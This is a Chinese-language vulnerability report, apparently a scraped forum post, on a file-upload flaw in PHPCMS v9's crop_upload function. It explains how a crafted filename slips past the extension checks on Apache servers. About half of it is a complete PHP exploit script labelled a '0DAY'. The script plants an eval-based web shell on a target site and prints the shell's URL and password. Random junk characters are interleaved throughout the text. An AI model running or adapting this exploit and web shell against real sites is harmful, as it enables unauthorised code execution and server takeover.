漏洞类型: 文件上传导致任意代码执行
, @( A! x7 y/ Z. w0 p
6 D0 z. k4 K- c) j简要描述:
6 w3 m% A4 [1 P$ Y3 K- ~
% m+ w+ _9 n" q% {6 Zphpcms v9 getshell (apache)
/ {: d0 O$ e/ [6 i9 X) Y/ B; w详细说明:
, \& z4 h' ]7 @+ w8 e8 r; u* r4 t% O8 X: r% A
漏洞文件:phpcms\modules\attachment\attachments.php b# t e% ~( ]& H0 J
' K, A0 G9 @; `+ `$ E. Wpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 3 ?) H1 H& y$ s8 m/ ~: P
后缀检测:phpcms\modules\attachment\functions\global.func.php* }( |6 `+ V+ `4 E( f, |1 q
5 F3 s7 P* m5 e ! K0 J9 o# @3 b) V
I4 P$ u4 `4 Efunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } $ \; g/ k* G1 n+ v
' N* }1 u) A i& F: L
关键函数:
7 N% C9 e O" v* ]4 Q
8 v7 |% b7 r" V6 T$ c( O 9 X6 [* j% S3 b3 B0 t o: q% A# z
. Z4 q6 T u& R6 L- ?+ C- f( H
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
+ Y+ i* _; C6 O
& N. K( |# c- z3 n P Fileext函数是对文件后缀名的提取。) W( p0 R3 T# [& a* u
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# I# g0 X; [3 U8 {# c$ _/ ~) l经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。; C" w- M, \2 I1 C% G$ Q% ^" b$ z
我们回到public function crop_upload() 函数中! D- \8 v8 b, `2 d1 @# U
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();, y0 ~( A, ?* h' E
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数) V ?* F- l7 q) M
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
9 c1 [, b; S! f; o. F# z2 W# b+ |* ~- q经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。0 p& W, n7 W+ \
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。, S0 n/ q: U' H T* {
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
; e& o; j& b; s% b i+ a3 w漏洞证明:6 L% @% N, t5 P
7 h7 u n$ w" F3 `* B& i5 {
exp:" e. W! }/ q' [4 d' R. j8 h& O% V% q/ Y
2 F4 C. O* V8 j! z8 d! Z
<?php
) |) r9 h$ u& ]( o1 a" Y: t4 uerror_reporting(E_ERROR);
) \1 I, U# v8 C9 E3 K: Gset_time_limit(0);/ M* K2 y+ P. L3 {7 o* a/ T
$pass="ln";' Y' _2 R* n; G, Z F7 [4 @
print_r('
3 [( i! g, d; A4 v! K2 B+---------------------------------------------------------------------------+* `3 C: G/ }4 z- f# K9 O
PHPCms V9 GETSHELL 0DAY
/ Z6 {4 z3 q* q* t) P- rcode by L.N.
$ A; W, d3 u# r# T) Q, Y4 x1 U9 l9 A2 B$ t) v, ^5 E
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# ~# T8 k' \4 m9 X& S& M. G
+---------------------------------------------------------------------------+: E5 Y E4 N6 P5 w
');/ x) J5 s" P( [) w% m$ H
if ($argc < 2) {
7 X5 b3 l" P- d, U$ y2 @$ Dprint_r('
2 G: A# \& f) F7 {' k+ m( U( P+---------------------------------------------------------------------------+5 {9 E$ u. `$ B K) e
Usage: php '.$argv[0].' url path
. |7 R6 O+ o. X0 Z3 u6 L7 j h& }- `. o; K* Y" |5 K
Example:9 f7 Y4 u" w0 `/ T! t
1.php '.$argv[0].' lanu.sinaapp.com
& G9 [% m9 T9 k$ j3 U2.php '.$argv[0].' lanu.sinaapp.com /phpcms' D; _- E, M r3 ?" d
+---------------------------------------------------------------------------+
: u% H/ W* i' [: d! F5 l');
( ?) R- X; A5 ?exit;1 W5 y9 ^. o# K( p3 j
}
; [" a4 J! c& f) i: o2 K2 d- u
. b* a0 z! H: b2 Q5 n f3 g$url = $argv[1];/ H+ L, t2 B( k
$path = $argv[2];7 C8 z1 e) ^- A# u; B7 N$ |* f% I
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
* m* m0 o) a8 N0 S$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
+ I9 q. P. i* s: {$ lif($ret=Create_dir($url,$path))
$ U1 M8 I& Q1 T _- Q3 s{
, ~( y" T# H3 {2 Q//echo $ret;1 Q+ O- L' E. v7 T
$pattern = "|Server:[^,]+?|U";
5 T) K1 c9 j5 j4 X& X, J c' epreg_match_all($pattern, $ret, $matches);( w1 b7 B: n, I, @, G/ }8 l! W7 i
if($matches[0][0])
9 f I# [7 O3 H y& B4 O{
/ m m* w! B2 iif(strpos($matches[0][0],'Apache') == false)/ w C! ~6 |0 T6 ^6 m
{
I+ _$ S7 b" k2 A3 K- fecho "\n亲!此网站不是apache的网站。\n";exit;5 C6 B! }9 t, M
}
! u. c" V* P) F! W' M}; ~1 \- {1 T: b" c6 b9 e2 f
$ret = GetShell($url,$phpshell,$path,$file);+ A9 B( o% A7 w6 M7 V& D- u
$pattern = "|http:\/\/[^,]+?\.,?|U";
8 \3 D7 U9 r2 J. ^2 e: }preg_match_all($pattern, $ret, $matches);
0 {& m P4 r% xif($matches[0][0])0 ^. W3 X/ |! R- h
{3 |: o7 E' v* I6 J, E3 i
echo "\n".'密码为: '.$pass."\n";4 R! c! A$ R* I6 M* E2 _3 Q0 \7 {
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ a+ T# ?: Z. T) u$ M; W}
% p% [( }( P; e9 Gelse
: h5 Z, ]! K! x{
4 A" q* y. Q9 M6 ~$pattern = "|\/uploadfile\/[^,]+?\.,?|U"; _+ u# t& Y9 l I* y
preg_match_all($pattern, $ret, $matches);' Q8 E* f6 v' V5 M
if($matches[0][0]): [7 `( L" e& B1 L
{; ^- }( u9 Z( s; E4 i% W
echo "\n".'密码为: '.$pass."\n"; D( L8 E8 M+ W, W
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;+ @6 r, [+ d! Y- n- Z
}
" }6 a( H7 Y6 J" r, E- S% B, Celse
" u; T2 w, _7 b" A9 A8 L/ ~{
7 [! s$ V, [9 T' jecho "\r\n没得到!\n";exit;
1 P7 J+ f/ M: v& A7 d( J4 D; U4 p}! J* _. J% M4 [
}
A7 Y* S# \3 G- C. j# Q}$ E- \5 B$ X, U) O5 h/ ~. `
* s, ^( d1 B1 K# W' q) m" ?% a2 ?function GetShell($url,$shell,$path,$js), Z: k# O- i, C V
{
0 s! r3 ]0 j6 H' W0 W' I$content =$shell;
. t( n* P! t) y. {; ^- D$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";% F3 Y; D6 N* B5 Z$ N% z
$data .= "Host: ".$url."\r\n";
( C! i! Z) h2 d% n& w$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 q* w3 `- e3 x6 R( {& j( j$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' ~! w/ }+ C: k; d; B7 X* V$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) Z$ u+ q" O9 O) M( }- b1 w
$data .= "Connection: close\r\n";
9 m8 N( u' W; \. l$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
- F7 w# x$ a5 i! m! M# f5 w$data .= $content."\r\n";
z' H( o, F6 I* l, [, E$ock=fsockopen($url,80);
5 _ o2 ~4 v5 Z% L9 e* `if (!$ock)& Y' T5 @4 E) K' E/ O) t
{
5 ^0 R2 \8 _; ]. ?& W+ oecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& Z- H. ?, N" d# ?; g1 C}
6 a* t* [) k$ c0 P" W5 [0 ^0 Telse* U9 A2 z% B( W+ c' Z
{
. ^( S2 W) I% p T9 q4 ]fwrite($ock,$data);
# U; u+ s& v" C( U. V& p. R$resp = '';+ M% T% G H( E/ Q1 M: S
while (!feof($ock))5 K8 Q, q, C/ \
{4 F/ _3 E; o* W5 V$ L
$resp.=fread($ock, 1024);
3 s6 e2 g+ r2 H! N# O" b$ N8 B}) ^9 M; N7 H9 a
return $resp;1 [( |3 J1 b' F/ z) I; G& @& H( c
}. }+ v$ Y3 \2 B
}
, x: U8 _3 B: o" w+ V$ ^& Q, A2 G6 M* D" R
function Create_dir($url,$path='')" q0 ?; [) Y p5 b+ ~: }4 e3 g
{
# U! b; j4 ?; [& N5 _/ x4 w$content ='I love you';4 ]3 ~/ x! A' K8 F ^; T+ `
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";% N9 g& }8 W* d# O
$data .= "Host: ".$url."\r\n";5 o+ w$ y" i- u3 o
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 |6 }# u! \. G/ A Z* J1 v$ w5 W$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( k9 p' D# N2 w& ?$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 d; V! l. j+ K& G+ \$data .= "Connection: close\r\n";; y" l! f% c+ ?& O$ s
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";3 g0 V2 g3 U d8 _3 }
$data .= $content."\r\n";4 s& ?1 Z8 @' f5 s, W. i
$ock=fsockopen($url,80);- A# A7 G# S7 F5 [- ~
if (!$ock)
8 {/ L: k1 n. Z# K( X! C, M" I7 C{
+ L1 K3 c& b0 s6 r/ oecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 m3 S- j) ?3 B+ M" l: ?
}$ r, F/ U0 b7 w
fwrite($ock,$data);' }+ _$ d2 R6 D; a
$resp = '';1 n9 n5 F2 w6 U; T
while (!feof($ock))$ u! a" w+ C4 Y9 l" G
{, L- }, x9 t: Y: A! D1 |0 g4 D& B
$resp.=fread($ock, 1024);. X" a: P& ?5 W/ E G9 ^
}% z6 H$ m) C. l
return $resp;0 J/ E2 j& Q' a6 H" Q4 Y! I
}( V8 C% q% z J0 n
?>
6 E; ?# |; }0 C5 ]3 I $ M: [4 J" r& m; m
修复方案:
$ i3 b H+ L5 t9 V/ `( C+ u E1 w; k0 i9 _& Z
过滤过滤再过滤
4 n. ?9 k/ k# F/ n6 w K9 T9 p1 {* {3 \* D, d$ _9 r; U- M5 Z
|